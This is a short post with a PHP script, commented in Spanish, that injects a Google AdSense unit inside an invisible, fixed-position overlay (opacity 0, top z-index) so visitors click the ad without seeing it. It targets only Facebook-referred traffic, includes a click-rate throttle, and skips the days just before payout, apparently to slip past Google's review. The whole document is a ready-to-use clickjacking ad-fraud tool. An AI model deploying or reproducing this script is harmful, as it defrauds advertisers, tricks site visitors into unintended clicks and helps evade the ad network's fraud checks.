This script has ctr control, control possible days of review by google, and facebook referer.
<?php
// Desactivar las 3 condiciones
$demo = true;
// CondiciÛn 1 - Mostrar a usuarios que llegan de Facebook
$referer = $_SERVER['HTTP_REFERER'];
$referer=str_replace("http://", "", $referer);
$referer=str_replace("https://", "", $referer);
$referer=str_replace("www.", "", $referer);
$pieces2 = explode("/", $referer);
$referer=$pieces2[0];
if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }
// CondiciÛn 2 - Control de CTR
if($filtro1=="si") {
$porcentaje = 100;
if(rand(0,100) <= $porcentaje){
$filtro2="si";
}else{
$filtro2="no";
}
}
// CondiciÛn 3 - No ejecutar script oculto si son dÌas cercanos al cobro
if(($filtro1=="si") && ($filtro2=="si")) {
$dia=date("d");
if(($dia=="18") ||
($dia=="19") ||
($dia=="20") ||
($dia=="21") ||
($dia=="22") ||
($dia=="23") ||
($dia=="24") ||
($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }
}
$codigoAdsense= '<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- ************************* -->
<ins class="adsbygoogle"
style="display:inline-block;width:336px;height:280px"
data-ad-client="ca-pub-*************"
data-ad-slot="**************"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>';
$estilo="<style>
#flotante {
width: 410px;
height: 310px;
top: 39%;
left: 22%;
position: fixed;
margin-left: -40px;
z-index:999;
opacity: 0;
}
</style>";
if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) {
echo $estilo;
echo "<div id=\"flotante\">";
echo $codigoAdsense;
echo "</div>";
echo "</div>";
} else {
} ?>
